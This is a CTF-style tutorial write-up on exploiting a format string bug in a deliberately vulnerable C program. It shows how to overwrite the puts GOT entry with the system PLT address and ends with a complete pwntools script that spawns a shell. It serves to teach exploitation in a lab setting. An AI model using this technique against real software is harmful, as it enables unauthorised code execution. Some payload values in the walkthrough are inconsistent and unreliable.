Simple PWN - 0x11(format string bug)
tags: CTF PWN eductf
format string bug background
Original Code
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char fmt[0x20];
system("echo 'Give me fmt: '");
read(0, fmt, 0x20);
printf(fmt);
system("echo 'Give me string: '");
read(0, fmt, 0x20);
puts(fmt);
return 0;
}
$ gcc -o fmt fmt.c -no-pie -fno-stack-protector -z norelro -zexecstack
- In this problem, we can consider to use
format string bugto achieveGOT hijackingwithout buffer overflow. - The main idea is totally the same as GOT hijacking lecture
- Thus, we can observe which function can be overlapped by
system plt→ **`puts function`**- Because…
putsjust needs one argument likesystemfunction, but how aboutprintf? Unfortunately, it appeared before 2nd read function, because 2ndreadneeds to store the argument forsystemfunction such assh\x00.
- Because…
Exploit - GOT hijacking + format string bug
Our goal is hijack puts GOT to system plt
- Find
puts GOTaddress andsystem plt→ `0x403318` and `0x401090`1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20$ objdump -d fmt ... 0000000000401090 <system@plt>: 401090: f3 0f 1e fa endbr64 401094: f2 ff 25 85 22 00 00 bnd jmp *0x2285(%rip) # 403320 <system@GLIBC_2.2.5> 40109b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) ... $ gdb fmt ... pwndbg> attach <PID> pwndbg> got GOT protection: No RELRO | GOT functions: 5 [0x403318] puts@GLIBC_2.2.5 -> 0x401030 ◂— endbr64 [0x403320] system@GLIBC_2.2.5 -> 0x7f87de291d60 (system) ◂— endbr64 [0x403328] printf@GLIBC_2.2.5 -> 0x401050 ◂— endbr64 [0x403330] read@GLIBC_2.2.5 -> 0x7f87de355980 (read) ◂— endbr64 [0x403338] setvbuf@GLIBC_2.2.5 -> 0x7f87de2c2670 (setvbuf) ◂— endbr64 ... - Construct format string - try and error
r.sendafter("Give me fmt: ", b"%176c%8$hhn" + b"aaaaa" + p64(puts_got))從結果來看比較清楚

- Parse
b"%176c%8$hhn" + b"aaaaa" + p64(puts_got)Our goal is overlapputs GOT, so we put address of puts_got at final position, that is[%rsp + 16](format string:$8) We want to modify0x401030to0x401090, so we just modify only 1 bytes(format string:%hhn). In addition, `0x90` is 144 as decimal.(format string:%176c) Combine all format sting:%176c%8$hhnand other space can pad trash bytes
- Parse
- Pass the command to
systemfunction -sh\x00to open shellr.sendafter("Give me string: ", "sh\x00") - Finally, we got shell!!!
- Whole exploit
from pwn import * context.arch = 'amd64' r = process("./fmt") raw_input() puts_got = 0x403318 system_plt = 0x401090 r.sendafter("Give me fmt: ", b"%144c%8$hhn" + b"aaaaa" + p64(puts_got)) r.sendafter("Give me string: ", "sh\x00") r.interactive()
